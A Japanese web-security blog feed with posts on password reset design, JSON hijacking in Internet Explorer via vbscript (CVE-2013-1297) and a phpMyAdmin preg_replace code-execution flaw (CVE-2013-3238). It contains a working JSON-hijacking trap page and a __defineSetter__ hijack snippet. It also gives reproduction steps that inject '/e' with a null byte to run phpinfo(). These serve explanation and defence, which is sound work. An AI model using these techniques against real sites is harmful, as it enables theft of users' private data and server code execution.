Quantcast
Channel: 徳丸浩の日記
Viewing all 194 articles
Browse latest View live

パスワードリマインダが駄目な理由

$
0
0
昨日、某著名サイトのパスワードリマインダの方式が変更になっていることに気がつきました。
  • 旧: 現在のパスワードをメールで送信する(パスワードリマインダ)
  • 新: パスワード再設定の画面のURLをメールで送信する(パスワードリセット)
新しい方式(パスワードリセット)の方が優れていますが、それでは何故パスワードリマインダは駄目で、パスワードリセットの方がよいのでしょうか。このエントリではその理由について説明します。

パスワードリマインダのリスク

良く指摘されるように、パスワードリマインダの場合、2つの問題があります。
  • 現在のパスワードをメール送信できるということは、パスワードをハッシュ値で保存していない証拠である
  • メールは平文通信なので、パスワードを書いたメールが盗聴されると被害が甚大になる
これらのうち、パスワードの保存方法については別稿にゆずるとして、このエントリでは盗聴のリスクについて検討します。

パスワードが盗聴されると長期の悪用に気づかない

仮にパスワードリマインダのメールが盗聴されると、第三者にパスワードを知られ、そのパスワードにより不正アクセスされることになります(リスクベース認証や2段階認証がない場合)。これ自体とてもよろしくないわけですが、加えて以下が問題だと言えます。
  • パスワードが悪用されていることに利用者が気づくことが難しい
  • 悪用が長期間に及ぶ
パスワードリセットにメールを使う場合、メールが盗聴される前提だとパスワードリセット機能の悪用を完全に防止することは難しいので、せめて上記2項は避ける方法を検討すべきです。

パスワードリセット方式の優位点

一方、パスワードリセット方式の場合、パスワードをメール送信する方式と比べて以下のコントロールを実現できます。
  • パスワード再設定できる回数を1回限りとする
  • パスワード再設定の結果をメール通知する
これらにより、以下のメリットがあります。
  • 本来の利用者と第三者のうち、どちらがパスワードを再設定できるかは「早い者勝ち」になるが、運が良ければ第三者による再設定を防げる
  • 運悪く、先に第三者によりパスワードを再設定された場合、メール通知により、利用者がその事実に気づくことができる
すなわち、パスワードを送信する方法と比べて、最悪ケースではパスワードを第三者に知られるという点は変わりませんが、パスワードリセット方式の場合は、不正アクセスに利用者が気づくことができ、必要な対処を打てるという点が違います。
冒頭で紹介した某サイトのパスワードリセット機能には、パスワードが再設定されたことのメール通知がありませんでした。このため、せっかくパスワードリセット方式に変更したものの、そのメリットは十分に実現されていない状況です。

まとめ

パスワードリマインダとパスワードリセットの安全性を比較しました。どちらの場合でも、メールが盗聴されるという状況では第三者にパスワードを知られる(パスワードリセットの場合はパスワード再設定されることにより)可能性はありますが、パスワードリセット方式の場合、第三者にパスワードを知られたという事実を利用者が察知できるという点が異なります。このため、パスワードをメール送信する方式のパスワードリマインダは避け、パスワードリセット機能を採用するのがよいでしょう。この場合は、以下(再掲)を忘れずに実装しましょう。
  • パスワード再設定できる回数を1回限りとする
  • パスワード再設定の結果をメール通知する


追記(13:10)

パスワードリセットのパスワード再設定画面には、有効期間(1時間~1日程度)を設ける場合が一般的です。この機能が役立つ局面はあまり思いつきませんが、パスワードリセットを途中まで実行して、なんらかの理由でパスワードリセットしなかった(パスワードを思い出した等)後に、たまたま第三者がパスワードリセットのURLを見つけて悪用する、などのシナリオを緩和できます。

また、利用者の立場で、パスワードリマインダ機能を使ってパスワードを受信した場合は、ただちにパスワードを変更すれば、その後の悪用は防止することができます。



あわせて読みたい




リセット後のパスワードをメール送信するパスワードリセット方式の注意点

$
0
0
先日のエントリパスワードリマインダが駄目な理由にて、現在のパスワードをメール送信する「パスワードリマインダ」がパスワードリセット方式に比べてリスクがある(リスクのコントロールが弱い)という説明をしました。その際に説明したパスワードリセット方式は、パスワード変更の画面URLをメール送信するというものでしたが、もう一つのパスワードリセット方式としては、サイト側でパスワードをリセットして、リセット後のパスワードをメール送信するという方式もあります。このエントリでは、後者の仕様上の注意点について説明します。

とあるサイトのパスワードリセット方式

あるサイトのパスワードリセットの仕様を確認したところ下記の通りでした。
  • パスワードリセット画面では、ユーザIDとメールアドレスを入力する
  • ユーザIDとメールアドレスが共に該当するアカウントがないとエラーになる
  • サイト側でパスワードがリセットされ、リセット後のパスワードがメール送信される
  • 利用者はメール送信されたパスワードによりログインでき、通常の利用が可能となる
この仕様をモデルケースとして、パスワードリセット仕様の問題点について検討します。

問題1.メールのパスワードが盗聴された場合のコントロールがない

先のエントリで指摘したように、メールは盗聴される可能性があり、パスワードリセット機能には、パスワードリセットのメールが盗聴された場合のコントロールを盛り込む必要があります。上記のパスワードリセットの仕様では、メール盗聴の場合のコントロールがないため、リセット後のパスワードを第三者が盗聴した場合、利用者が気づくことなく永続的にパスワードの悪用ができてしまいます。
このように、単純なパスワードリセットの場合、パスワードリマインダと共通の弱点があります。

対策1.仮パスワード方式を採用する

この問題の対策として、「仮パスワード」を使う方法があります。仮パスワードとは、リセット後のパスワード(仮パスワード)ではログイン後全ての機能は使えず、パスワードの変更のみができるというものです。よくある実装は、仮パスワードでログインした場合は、パスワード変更の画面に遷移し、まずパスワードを変更しなければ他の機能は使えないようになっています。
この方式でも、第三者が仮パスワードを盗聴した場合、先にログインしてパスワードを変更してしまう可能性はありますが、単純なパスワードリセットと比べて以下が異なります。
  • 運が良ければ利用者の方が先にパスワードを変更して、第三者の悪用を防げる
  • 運悪く第三者が先にパスワードを変更した場合は、本来の利用者は、ログインできないことで悪用の可能性に気づくことができる
  • パスワード変更のメール通知機能により、第三者のパスワード変更についてもメールで確認できる
上記については、パスワード変更の画面URLを送信するタイプと同じですね。加えて、仮パスワードの有効期限(1時間~半日程度)を設けておくと、仮パスワードが放置された場合のリスクを低減できます。

問題2.パスワードリセット機能悪用によるサービス妨害

第三者がメールを盗聴できない場合でも、ログインIDとメールアドレスがわかれば、第三者がパスワードをリセットできてしまいす。この場合、第三者に新しいパスワードを知られてしまうリスクはありませんが、パスワードを勝手に変えられてしまい、サイトの利用を妨害される点が問題です。利用者は、新しいパスワードはメールにより知ることはできますが、面倒を強いられることになります。

対策2-1.仮パスワード発行後も元のパスワードでもログイン可能とする

正式なパスワードと仮パスワードを別々に管理して、仮パスワードが発行された状態でも、元のパスワードでログインできるようにしておけば、パスワードリセット機能の悪用を緩和できます。さらに、以下の仕様としておけば、利用者がパスワードリセット機能の悪用に気づきやすくなります。
  • 仮パスワードが有効な状態で、正式パスワードでログインした場合は、仮パスワードを無効にする
  • 上記の場合、「仮パスワードが○月○日○時○分に発行されていましたが無効にしました」などのメッセージを表示する

対策2-2.パスワードリセットの前に秘密の情報を問い合わせる

パスワードリセット機能の悪用を緩和する方法として、ユーザIDやメールアドレスのみでパスワードリセットするのではなく、もう一つ秘密情報を問い合わせるという方法があります。以下は、拙著「安全なWebアプリケーションの作り方」(P354)からの画面遷移の引用です。
上記では「秘密の質問と答え」を使っていますが、「秘密の質問と答え」は忘れやすいのが難点ですね。このため、秘密の質問に代えて、電話番号や(予備の)メールアドレスを問い合わせる方法も考えられます。
「電話番号なんて公開情報では駄目だろう」と思われるかもしれませんが、あくまで「パスワードリセット機能悪用によるサービス妨害の緩和策」なので、厳密な秘匿性が必須というわけではありません。
そもそも、オンラインのパスワードリセット機能にはリスクが伴うものであり、それが許容できない場合は、オンラインパスワードリセットの機能をやめるべきです。多くのネット銀行がオンラインのパスワードリセット機能を実装せず、書面でパスワードリセットするようにしているのは、この理由からです。

まとめ

パスワードリセットの実現方法として、「リセット後のパスワードをメール送信する方法」の課題と対策について説明しました。
課題としては以下がありました。
  • パスワードリセットのメールが盗聴された場合のコントロールがない
  • パスワードリセット機能の悪用によるサービス妨害のリスク
このため、以下を実現するとよいでしょう。
  • 仮パスワード方式とする(必須)
  • パスワード変更をメールで通知する(必須)
  • 仮パスワードの有効期限を設ける(強く推奨)
  • 仮パスワード発行後も元のパスワードは有効とする(強く推奨)
  • 仮パスワードが有効な状態で、元パスワードでログインした場合は、仮パスワードをキャンセルして警告表示する(推奨)
  • パスワードリセットの前に秘密情報を要求する(推奨)

[PR]

JSONをvbscriptとして読み込ませるJSONハイジャック(CVE-2013-1297)に注意

$
0
0
はせがわようすけ氏のブログエントリ「機密情報を含むJSONには X-Content-Type-Options: nosniff をつけるべき」にて、巧妙な罠を仕掛けることにより、別ドメインのJSONデータをvbscriptとして読み込み、エラーハンドラ経由で機密情報を盗み出すという手法が紹介されました。これは、IEの脆弱性CVE-2013-1297を悪用したもので、MS13-037にて解消されていますが、MS13-037はIE6~IE8が対象であり、IE9以降では解消されていません。
また、MS13-037を適用いていないIE6~IE8の利用者もしばらく残ると考えられることから、この問題を詳しく説明致します。サイト側の対策の参考にして下さい。

問題の概要

JSON形式のデータは、通常はXMLHttpRequestオブジェクトにより読み出しますが、攻撃者が罠サイトを作成して、vbscriptを指定したscript要素により呼び出す攻撃です。JSONはvbscriptとして実行するとエラーになりますが、エラーハンドラに渡される引数としてJSONデータが入るため、通常は読み出せないJSON経由で秘密情報が漏洩します。

影響を受けるサイト

秘密情報を含むJSONを生成しているサイト。

影響

攻撃対象サイトにログイン中である利用者が、攻撃者の用意した罠サイトを閲覧すると、秘密情報を含むJSONデータが漏洩します。

説明のためのサンプルサイトの説明

攻撃手法を説明するためのサンプルアプリケーションを用意致しました。これは、秘密のメモを登録して、後から参照できるというものです。Cookieによるセッション管理をしていて、セッション変数に「秘密のメモ」が入っています。
まずは、入力フオーム(form.html)です。
<form action="upmemo.php" method="post">
秘密メモ<input name="memo"><br>
<input type="submit" value="登録">
</form>
これは簡単ですね。次に、投稿を受け付けるupmemo.phpのソースです。受け取ったメモをセッション変数に保存するだけです。
<?php
session_start();
$memo = isset($_POST['memo']) ? $_POST['memo'] : '';
$_SESSION['memo'] = $memo;
?>
<body>
メモを受け付けました:<?php echo htmlspecialchars($memo, ENT_NOQUOTES, 'UTF-8'); ?><br>
<a href="display.html">メモを表示する</a>
</body>
メモを表示するdisplay.html。メモの実体はgetMemo.phpからJSONとして受け取って表示します。JavaScriptの処理はjQueryを用いています。
<html>
<head>
<script src="jquery-1.9.1.min.js"></script>
<script>
$(function() {
$.ajax({
dataType: 'json',
url: 'getMemo.php'
}).done(function(json) {
$('#memo').text(json[0].memo);
});
});
</script>
</head>
<body>
secret memo:<div id="memo"></div>
</body>
</html>
getMemo.phpのソースです。セッションに保存した「秘密のメモ」をJSON形式に変換して表示しています。
<?php
header('Content-Type: application/json; charset=utf-8');
session_start();
$json['memo'] = $_SESSION['memo'];
echo json_encode(array($json));
皆様がこのサンプルを動かせる環境を用意しました(http://ex.tokumaru.org/form.html)。実行例を以下に示します。秘密のメモとしては、「The king has donkey ears」(王様の耳はロバの耳)を用いました。


登録ボタンを押すと、以下のようにメモが受け付けられます。


「メモを表示する」というリンクをクリックすると、以下のようにメモが表示されます。


この際に、getMemo.phpが返すJSONは下記となります。
[{"memo":"The king has donkey ears"}]

JSONはなぜ安全か?

ここで、今回の攻撃手法を説明するための前提条件として、JSONを用いて秘密情報を交換できる理由を先に説明しましょう。
JSONを用いて秘密情報をやり取りできる根拠は以下によります。

  • ブラウザには同一生成元ポリシー(Same Origin Policy; SOP)、CORS(Cross-Origin Resource Sharing)という保護機能がある
  • アプリケーション側で、ブラウザ側保護機能を活用する呼び出し方をしている

以下、具体的な脅威2点を紹介する形で、JSONの安全性について説明します。

脅威1. クロスドメインのXMLHttpRequest

通常、JSONの呼び出しにはXMLHttpRequestオブジェクトを用います。古典的なブラウザでは、XMLHttpRequestでは同一オリジン(ホスト名、ポート番号、スキームが全て同じ)のリソースからのみ読み込みができるようになっていました。これが、同一生成元ポリシー(SOP)です。
しかし、クライアントサイドのマッシュアップをクロスドメインで行いたいというニーズか高いことから、クロスドメインでXMLHttpRequstが使えるように拡張されています。これをXMLHttpRequest Level 2(XHR2)と呼びますが、オブジェクトの名称はXMLHttpRequestのままです。このため、従来安全だったアプリケーションが急に脆弱になると困るため、安全性の互換性を保つ目的で、XHR2には以下の制限があります。これがCORS(Cross-Origin Resource Sharing)です。
  • XHR2では、異なるオリジンに対してもリクエストは送信される
  • ただし、デフォルトではリクエストにCookieは付かない
  • デフォルトでは、レスポンスが返ってきてもXHR2はそれを捨ててしまい、JavaScriptコンテンツでは受け取れない
  • レスポンスにAccess-Control-Allow-Originヘッダがあり、これに指定されたオリジンが呼び出し元とマッチした場合は、XHR2はレスポンスを返し、JavaScriptコンテンツが受け取ることができる
  • リクエストにCookieをつけたい場合は以下を全て行う
    • 呼び出し側がXHR2のwithCredentialsプロパティにtrueをセットする(これだけでリクエストにCookieがつく)
    • 呼び出された側はAccess-Control-Allow-Originヘッダにワイルドカードを指定できず、オリジンを明示的に指定する(http://example.jp 等)(これがないとレスポンスが受け取れない)
    • 呼び出された側はレスポンスヘッダAccess-Control-Allow-Credentials: trueを出力する(withCredentialsプロパティをtrueにした場合、これがないとレスポンスが受け取れない)
デフォルトではリクエストは送るけど、レスポンスは捨ててしまうという挙動を不自然に思う人がいるかもしれませんが、例えばJSONのリクエストをimg要素やiframe要素で呼び出す場合も、リクエストは送られるがレスポンスは受け取れない(JavaScriptからは読めない)ので、このあたりの従来の挙動とバランスをとり、リスクが増えないように考慮したのでしょう。

さて、少し話がそれますが、XHR2を用いてクロスドメインでJSONを呼び出すサンプルを紹介します。 まず、getMemo.phpの冒頭に2行追加して、getMemo2.phpとします。冒頭のみ紹介します。
<?php
header('Access-Control-Allow-Origin: http://evil.dwd.jp'); // 追加
header('Access-Control-Allow-Credentials: true'); // 追加

header('Content-Type: application/json; charset=utf-8'); // 以下同じ
呼び出し側のdisplay.htmlのajaxメソッド呼び出し部分を以下のように修正します。
  $.ajax({
dataType: 'json',
url: 'http://ex.tokumaru.org/getMemo2.php',
xhrFields: {
withCredentials: true
}

}).done(function(json) {
この修正後のdisplay.htmlをhttp://evil.dwd.jp/display.htmlとして用意致しました。IE10か、IE以外のブラウザで参照下さい。先に、メモを登録することをお忘れなく。
さて、攻撃者の視点で考えますと、上記の改変のうち、呼び出し側は「攻撃者の罠」になるので、上記のようにすることは容易です。一方、データの提供側、すなわち攻撃対象は、攻撃者が改変することはできません。このため、(アプリケーションに脆弱性がない限り)データを想定外のドメインから読み出される心配はありません。

脅威2. script要素によるJSON読み込み

次に検討するのは、JSONをscript要素から読み出されることはないか、という脅威です。具体的には、以下のような罠を作れないかと言うことです。
<!-- JSONをscript要素のsrc属性で指定して読み出す -->
<script src="http://ex.tokumaru.org/getMemo.php"></script>
<script>
// 呼び出したJSONを読み出す仕掛け
</script>
結論としては、このような罠(JSONを読み出す仕掛け)を作ることできません。JSONはJavaScriptとしてバリッドではありますが、単なるデータであるため、動作としては何もしません。以下のようなオブジェクトがゴロンと転がっているだけであり、なにも作用がないので、読み出せないのです。
[{"memo":"The king has donkey ears"}]
このように書くと、読者の中には、「そうは言っても、JSONPと言うものがあって、script要素を使ってクロスドメインの呼び出しができるではないか」と思われる方もおられると思います。しかし、JSONPの場合は、データを取り出せるように、データ提供側で関数呼び出しの形にするわけです。
foo([{"memo":"The king has donkey ears"}]);
この関数fooをコールバック関数と呼び、呼び出し側が関数名を指定し、データ提供側がその関数を呼び出すようにJSONPデータを生成します。
すなわち、この場合でも、データ提供側がクロスドメインで呼び出させることを考慮しない限り、クロスドメインでJSONデータを読み出されることはありません。

古典的なJSONハイジャック

前述のように、JSONをscript要素で呼び出しても、呼び出し側のJavaScriptでJSONを読み出すことはできないはずなのですが、これを読み出すテクニックが考案されました。これをJSONハイジャックと言います。
具体的には、以下の2種類が知られています。
  • Arrayオブジェクトのコンストラクタを再定義する
  • setterを使う
以下は、setterを定義して、memoプロパティを読み出すスクリプトです。
Object.prototype.__defineSetter__("memo",
function(v) {
// ここで memo プロパティの値が v として読み出せる
});
おいおい、話が違うではないか、と思われるかもしれませんが、現在では上記でJSONが読み出せるのはブラウザの脆弱性と考えられていて、モダンなブラウザでは対策済みです。しかし、古いAndroidの標準ブラウザでは、まだこの脆弱性が残っていて、アプリケーション側での対処が望ましい状況でした。詳しくは、私の以前のエントリを参照して下さい。

vbscriptとしてJSONを読み出す方法

ようやく本題です。古典的なJSONハイジャックはモダンなブラウザでは対策されていますが、IE限定ながら、script要素で読み込んだJSONデータを読み出す方法が発見されました。
それは、JSONをvbscriptと指定して読み込む方法です。JSONは通常はvbscriptとして実行できないのでエラーになりますが、そのエラーメッセージに、JSONの一部を含む場合があります。概念的なサンプルを以下に示します。
<script>
window.onerror = function(e) {
// エラーメッセージeにJSONの一部が入る場合がある
}
</script>
<script src="http://ex.tokumaru.org/getMemo.php" language="vbscript"></script>
先のJSONオブジェクトをvbscriptとして読ませた場合のエラーメッセージは下記となります。
型が一致しません。: '{"memo":"The king has donkey ears"}'
ばっちり、JSONの中味が入っていますね。これを使って、第三者の秘密情報を盗み出す罠を作れます。罠の例を以下に示します。
<html>
<head>
<script>
window.onerror = function(e) {
if (e.match(/'({"memo".*)'$/)) {
var msg = 'JSONハイジャックに成功:' + RegExp.$1;
} else {
var msg = 'JSONハイジャックに失敗:' + e;
}
var divmemo = document.getElementById('memo');
var text = document.createTextNode(msg);
divmemo.appendChild(text);
}
</script>
</head>
<body>
これは罠サイトです(IE限定)
<div id="memo"></div>
<script src="http://ex.tokumaru.org/getMemo.php" language="vbscript"></script>
</body>
</html>
window.onerrorイベントで、前述のエラーを捕捉しています。この中で、エラーメッセージからJSON部分を切り出して、DOM操作で画面に表示しています。http://evil.dwd.jp/wana.htmlにデモを用意しました。

※注意
  • 罠を閲覧するのは、攻撃者ではなく、攻撃対象サイトの一般利用者です
  • 言うまでもないことですが、実際の罠サイトには「これは罠サイトです」と断ってはありません
  • 実際の罠サイトでは、盗んだ情報は画面に表示せず、攻撃者が管理するサーバーに送信します

MS13-037での修正

前述のように、上記攻撃が成立するのはIEのバグ(脆弱性)であり、実際IE6~IE8については、MS13-037で修正されています。具体的には、エラーハンドラに渡されるメッセージが単に「Script error」となるように修正されました(下図)。


しかし、MS13-037が適用されていないブラウザがしばらく残ることと、IE9以降では修正されていないことから、以下、アプリケーション側でとれる対策について検討します。

X-Content-Type-Options: nosniffヘッダを使う

はせがわようすけ氏が「機密情報を含むJSONには X-Content-Type-Options: nosniff をつけるべき」にて推奨している方法は、JSON生成時にレスポンスヘッダ X-Content-Type-Options: nosniff をつけるというものです。PHPを使う場合は、以下をプログラムの先頭付近に追加します。
header('X-Content-Type-Options: nosniff');
それでは、何故これをつけると脆弱性を防げるのでしょうか。IEのF12開発ツールを起動してエラーメッセージを見ると理由がよく分かります。
SEC7112: http://ex.tokumaru.org/getMemo.php からのスクリプトは、MIME の種類が一致しないため、ブロックされました 
vbscriptを読もうとしているのに、JSONのコンテンツヘッダがapplication/jsonであるため、MIMEタイプが違うとしてブロックされています。私はこれを見て、ある種の感動を覚えました。今までContent-Typeを散々無視してきたIEが、Content-Typeが違うとして読み込みをブロックするとは…
これは、ブラウザの挙動としてまったく正しいものですので、ぜひこのヘッダをつけるようにしましょう。ただし、既存のコンテンツがいいかげんなContent-Typeを返している場合にもエラーになるので、これを機に正しいContent-Typeを返すようにしましょう。私が調べた範囲では、JSONPを使う場合に、text/htmlとかapplication/jsonを返すと、同じエラーになります。JSONPはJSONではないのでapplication/jsonはおかしいです。application/javascriptなど、JavaScriptを示す正しいContent-Typeなら問題ありません。

X-Content-Type-Options: nosniff ヘッダはIE8以降で対応しているものですが、IE8で確認したところ、ブロックはされていません。IE9にて、このヘッダのチェックが、より厳密になったというところでしょうか。IE8もMS13-037の対象になった理由は、X-Content-Type-Options: nosniff ヘッダでは対応できないから、という可能性が高そうです。
他の問題にも備えて、IEを使う場合は、常にX-Content-Type-Options: nosniff ヘッダを出すことが望ましいでしょう。

参考:

その他の対策方法

vbscriptとしてJSONを読み込む手法が見つかる前からJSONハイジャッキングという攻撃手法はあり、以下のような対策が提唱されていました(1つ以上を実施)。
  1. POSTリクエストのみ受け付ける
  2. JavaScriptとして不完全なJSONを返す
  3. while(1);等を先頭に入れて、script要素として読み込むと無限ループにする
  4. X-Requested-Withヘッダのチェック
このうち、Gmailは、1.と2.を採用しています。すなわち、機密情報を含むJSONはPOSTによりリクエストするとともに、レスポンスの先頭に「)]}'」を入れています。XHRにより読み込む際にはPOSTの指定もできますし、先頭の「)]}'」は取り除いてからJSONとしてパースするのでしょう。facebookのJSONデータは、先頭に for(;;); が入っていて、script要素として読み込もうとして無限ループになります。ブラクラのような動作ですが、情報は漏洩しないことになります。
これらを実施すると、vbscriptとして読みこむ攻撃についても一応有効なようです。しかし、1. はRESTの原則に反すること、2.と3.はいかにもバッドノウハウ的であり美しくないことから、これらはあまり採用したくない「対策」です。
しかも、2. と3. は「たまたま防御できる」という感があります。例えば、Google流の防御文字列「)]}'」を反転させて「'}])」と言う文字列を使ったとします。生成されるJSONは以下のようになります。
'}])

[{"memo":"The king has donkey ears"}]
実はこれだと攻撃が成立してしまいます。'で始まる文字列はvbscriptのコメントとみなされるので無視され、結局防御には寄与しません。

徳丸としては、4.のX-Requested-Withヘッダをサーバー側でチェックするという方法をお勧めします。jQueryやprototype.jsを使ってAJAX/JSONのリクエストを送信すると、自動的に以下のリクエストヘッダがつきます。
X-Requested-With: XMLHttpRequest
これを積極的にチェックしようとするものです。script要素によるリクエストにはこのヘッダは付きません。このチェックにより、JSONハイジャックの他、JSONをブラウザに直接読ませてXSSを起こす攻撃や、JSONをUTF-7と指定してscript要素で読み込ませる攻撃も防ぐことができます。詳しくは、こちらを参照下さい。
IE6~IE8に対してはMS13-037にてIE側で対策されましたが、まだしばらくは脆弱性のあるIEを使い続けるユーザが残ると予想されること、従来からAndroidの古いバージョンにてJSONハイジャックができることから、この方法の採用をお勧めします。

あなたのJSONは大丈夫?

vbscriptのエラーメッセージからJSONデータ内の秘密情報が漏洩するかどうかは、JSONの構造に依存します。冒頭に紹介したマイクロソフトの脆弱性情報MS13-037では、「JSON 配列の情報漏えいの脆弱性」と説明されており、基本的にはJSONの配列の形式の場合に情報が漏れるようです。ただし、配列以外の形式についても、漏洩させるテクニックが出てくる可能性があるので、油断は禁物です。私としては、JSONの構造に関わらず、ここで紹介した対策をとることを推奨します。

まとめ

JSONをvbscriptとして読み込ませるテクニックによるJSONハイジャック(CVE-2013-1297)について説明しました。本当に影響があるかどうかは、JSONの構造にも依存しますが、他の攻撃による情報漏洩の可能性も考慮して以下の対策を推奨致します。
  • JSONを返すスクリプトの先頭でX-Requested-WithヘッダがXMLHttpRequestとなっていることを確認(ヘッダがあるという確認でも良い)
  • JSONを返すレスポンス(できれば全てのコンテンツ)に、X-Content-Type-Options: nosniff ヘッダをつける


[PR]
上記のような、ややこしいWebセキュリティについて深い基礎知識を身につけたい方には「めんどうくさいWebセキュリティ」をお勧めします。


「めんどうくさい本」に進む前に、Webセキュリティの基礎を身につけたい方には、拙著をお薦めします。

phpMyAdmin3.5.8以前に任意のスクリプト実行を許す脆弱性(CVE-2013-3238)

$
0
0
phpMyAdmin3.5.8以前にはpreg_replace関数の呼び出し方法に不備があり、ログインしたユーザが指定した任意のスクリプトを実行できる脆弱性CVE-2013-3238があります。

概要

phpMyAdminの「テーブル名の接頭辞を付け替える」および「接頭辞を付け替えてテーブルをコピーする」操作の際に、付け替え元および付け替え先のパラメータを操作することにより、任意のPHPスクリプトを実行できます。

影響

phpMyAdminのログインユーザが任意のPHPスクリプトを実行できます。phpMyAdminのユーザは通常サーバー管理者と想定されますが、データベース管理者という権限を越えて、任意のPHPスクリプトをphpMyAdminの動作する権限(apache等に与えられた権限)で実行できることが問題です。

影響を受けるバージョン

影響を受けるのは、phpMyAdmin3.5.8以前です。
NVDの情報では3.5.8には脆弱性がないように読めますが、ソースを確認したところ、3.5.8にも脆弱性があります。
phpMyAdmin3.5.8.1以降、およびphpMyAdmin4.0.0(正式版)以降で対処されています。

ただし、後述するように、PHP5.4.7以降を用いている場合は、この脆弱性の影響を受けません。

再現方法

phpMyAdminにログインして適当なデータベースを選択し、テーブル一覧を表示します。

テーブルを1つ選択し、チェックしたものを:のプルダウンから「テーブル名の接頭辞を付け替える」を選択します。以下の画面が表示されます。

「付け替え元」に「/e」、「付け替え先」に「phpinfo();」を入力します。このまま実行せずに、Proxyツールなどで、/eの後に%00を付加して下さい(下図オレンジ色の部分)。


実行後の表示は下記となり、phpinfo()関数が実行されていることが分かります。(PHPのバージョンが古いのは検証環境なので気にしないで下さい。)


脆弱性の発生するメカニズム

脆弱性の原因はlibraries/mult_submits.inc.php の以下の部分です。
case 'replace_prefix_tbl':
$current = $selected[$i];
$newtablename = preg_replace("/^" . $from_prefix . "/", $to_prefix, $current);
上記再現手順の場合、preg_replace関数の呼び出しは以下の引数となります。
preg_replace("/^/e\0/", "phpinfo();", "test");
preg_replace関数(PHP5.4.6以前)の第1引数はバイナリセーフでないため、NULLバイト以降が無視され、結局以下の引数で呼び出されたのと同じになります。
preg_replace("/^/e", "phpinfo();", "test");
ここで、preg_replace関数の第1引数に注目ください。/eは、e修飾子というもので、これが指定された場合preg_replace関数の第2引数をPHPのスクリプトと見なし、解釈実行します。すなわち、eval("phpinfo();")としたのと同じです。このため、phpinfo()関数が実行されることになります。

対策

phpMyAdmin3.5.8.1以降、またはphpMyAdmin4.0.0(正式版)以降にバージョンアップすることで対策となります。当該箇所の差分を確認したところ、preg_replaceをやめ、substrで接頭辞の確認を行い、文字列連結で新しい接頭辞をつけるという手堅い方式に変更されています。賢明な対処と考えます(参照)。


また、回避策としてPHP5.4.7以降の導入が挙げられます。特別な理由がない限りPHPの最新版(現在PHPの最新版は5.4.15)を導入することをお勧めします。ただし、PHP5.3の最新版(5.3.25)では効果がありません。

phpMyAdminの利用者に悪意がある状況を想定しなくてよいケース(phpMyAdminの利用者全員がPHPスクリプト実行と同等以上の権限を元々持っている場合等)では、この脆弱性を許容するという判断もあり得るかと思いますが、できるだけバージョンアップをお勧めします。

脆弱性の根本原因

この脆弱性の根本原因は、preg_replace関数の第1引数の呼び出し方(下図の色をつけたところ)にあります。
preg_replace("/^" . $from_prefix . "/", $to_prefix, $current);
PCRE系関数では正規表現のデリミタ(スラッシュ「/」等)を指定しますが、正規表現の中にデリミタがある場合、デリミタをエスケープする必要があります。例えば、スラッシュ一文字を検索する場合は以下のようにします。
/\//
これを怠っていることが根本原因です。脆弱性のメカニズムとしてはSQLインジェクションのシングルクォートのエスケープ漏れと同じです。
攻撃者の視点で考えると、$from_prefixを単に「/e」とすると、preg_replaceの第1引数は「/^/e/」となり、最後の「/」が余計です。このため、その前にNULL文字を入れて、余計な「/」が見えないようにしています。

また、$from_prefixに [a-z]と言う文字列があれば、任意の英小文字にマッチするという結果になります。応用によっては「それは仕様です」となるでしょうが、phpMyAdminの場合は、そうではなさそうです。
したがって、preg_replaceを活かしたままで脆弱性対処するには、正規表現の特殊文字とデリミタの両方をエスケープする必要がありますが、PHPには、このための関数preg_quoteが用意されています。従って、以下のようにすれば問題ないはずです。
preg_replace("/^" . preg_quote($from_prefix, '/') . "/", $to_prefix, $current);
実際にはpreg_replace自体を避ける形で変更されているわけですが、その理由は以下のようなものではないかと推測します。
  • preg_replaceの仕様が危なっかしいものであり、過去にも脆弱性の原因になってきた
  • preg_quoteの信頼感があまりなかった(憶測)
  • 元々正規表現を必要としない処理である

このような理由から、先に「賢明な対処」と評したわけです。

preg_replaceの代替処理

先に述べたように、preg_replaceには潜在的に危険性があります。この問題について詳しく知りたい方は、寺田さんの素晴らしい記事「preg_replaceによるコード実行」を参照下さい。
preg_replaceの危険性を避けるためには、以下を検討するとよいでしょう。
  • 正規表現は原則として固定とする
  • preg_replace関数のe修飾子の代わりに、preg_replace_callbackを使用する
  • preg_replaceの代わりに、mb_ereg_replaceまたはmb_ereg_replace_callback(PHP5.4.1以降)の使用を検討する

PHP5.4.7におけるPCRE関数の変更

PHP5.4.7以降の環境ではこの問題の影響を受けないことは、以下の記事から知りました。
なお、システムで PHP 5.4.6 以前のバージョンを利用する環境のみが、この脆弱性の影響を受けます。
phpMyAdmin の preg_replace() 関数の不適切な利用に起因する任意コード実行の脆弱性(Scan Tech Report)
PHP5.4.6以前のみで影響を受けるという意味が最初分からなかったので、調べたところPHP5.4.7以降ではPCRE関数(preg_replace等)の正規表現中のNULLバイトをチェックして、もしあればエラーにしています。以下は、preg_replace関数の第1引数にNULLバイトを含む文字列を指定した場合のエラーメッセージの例です。
PHP Warning:  preg_replace(): Null byte in regex in /home/…/preg-nullbyte.php on line 2
PHPのChnage Log等を見てもこの変更は載っていないので、Scanのレポートを書いた方はすごいと思いました。

まとめ

phpMyAdmin3.5.8以前に含まれる、任意のスクリプト実行を許す脆弱性について説明しました。前述のように、この脆弱性の危険度の評価は微妙ですが、極力バージョンアップすることをお勧め致します。
また、preg_replaceの呼び出し方によっては、スクリプト実行の脆弱性を含みやすいという問題があります。phpMyAdminは管理者向けのシステムなので、管理者がPHPスクリプトを実行できても大きな問題ではない環境もあり得ますが、一般利用者が使うアプリケーションで任意スクリプト実行を許す脆弱性が入ると大問題です。この機会に、preg_replace関数の使い方を見直すことを推奨します。
また、PHP5.4.7以降で、PCRE関数の安全性が強化されています。この問題に限らず、極力PHPの新しいバージョンの使用を推奨します。

ヤフー株式会社様に「秘密の質問と回答」に関して要望します

$
0
0
ヤフー株式会社御中
東京都品川区在住
徳丸浩

拝啓、貴社ますますご清栄のこととお慶び申し上げます。日頃は格別のご高配を賜り、あつくお礼申し上げます。さて、さっそくですが、表題の件についてお願いがあり、ご連絡差し上げました。

私は東京都品川区在住の貴社サービスの一ユーザーです。Yahoo! IDの登録が2001年3月、Yahoo!プレミアムは2003年 2月からですので、十年来のユーザーと言うことになり、現在はヤフオクやYahoo! Boxを利用しております。どうぞ、お見知りおきのほど、よろしくお願いいたします。

さて、ご連絡差し上げたのは、表題に述べたように「秘密の質問と回答」に関する要望です。と言いますのは、報道などで「秘密の質問と回答」が漏洩したことを知ったからです。
